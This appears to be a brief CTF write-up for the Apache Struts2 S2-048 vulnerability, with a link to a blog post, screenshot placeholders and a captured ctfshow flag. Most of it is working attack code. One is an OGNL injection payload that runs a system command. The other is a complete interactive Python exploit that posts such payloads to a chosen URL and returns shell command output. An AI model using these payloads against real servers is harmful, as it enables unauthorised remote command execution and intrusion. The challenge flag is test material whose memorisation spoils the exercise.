S2-048
    https://blog.csdn.net/qq_36374896/article/details/84145292

    验证
    image.png
    image.png

    命令执行
    poc

    1. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

    image.png

    image.png

    1. #!/usr/bin/python
    3. # -*- coding: utf-8 -*-
    5. '''
    6.              ____ ____        ___  _  _    ___  
    7.             / ___|___ \      / _ \| || |  ( _ ) 
    8.             \___ \ __) |____| | | | || |_ / _ \ 
    9.              ___) / __/_____| |_| |__   _| (_) |
    10.             |____/_____|     \___/   |_|  \___/ 
    12.  ____   ____ _____      _   _   _                  _    
    13. |  _ \ / ___| ____|    / \ | |_| |_ _ __ __ _  ___| | __
    14. | |_) | |   |  _|     / _ \| __| __| '__/ _` |/ __| |/ /
    15. |  _ <| |___| |___   / ___ \ |_| |_| | | (_| | (__|   < 
    16. |_| \_\\____|_____| /_/   \_\__|\__|_| \__,_|\___|_|\_\
    17.                     Author By Jas502n
    18.             https://github.com/jas502n/st2-048            
    19. '''
    21. import json,re
    22. import requests
    23. import threading
    24. import urllib
    26. def Poc(url,command):
    27.     header = {'Content-Type': 'application/x-www-form-urlencoded'}
    28.     poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
    29.                           "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    30.     data = urllib.urlencode(poc)
    31.     try:
    32.         result = requests.post(url,data=data,headers=header)
    33.         if result.status_code == 200:
    35.             print result.content
    36.     except requests.ConnectionError,e:
    37.         print e
    39. th = {"url":""}
    41. while True:
    42.     if th.get("url") != "":
    43.         input_cmd = raw_input("cmd >>: ")
    44.         if input_cmd == "exit":
    45.             exit()
    46.         elif input_cmd == 'set':
    47.             url = raw_input("set url :")
    48.             th['url'] = url
    49.         elif input_cmd == 'show url':
    50.             print th.get("url")
    51.         else:
    52.             Poc(th.get("url"),input_cmd)
    53.     else:
    54.         url = raw_input("set url :")
    55.         th["url"] = url

    image.png

    FLAG=ctfshow{65c41758-391d-4e29-8bb2-cf0972abad9f}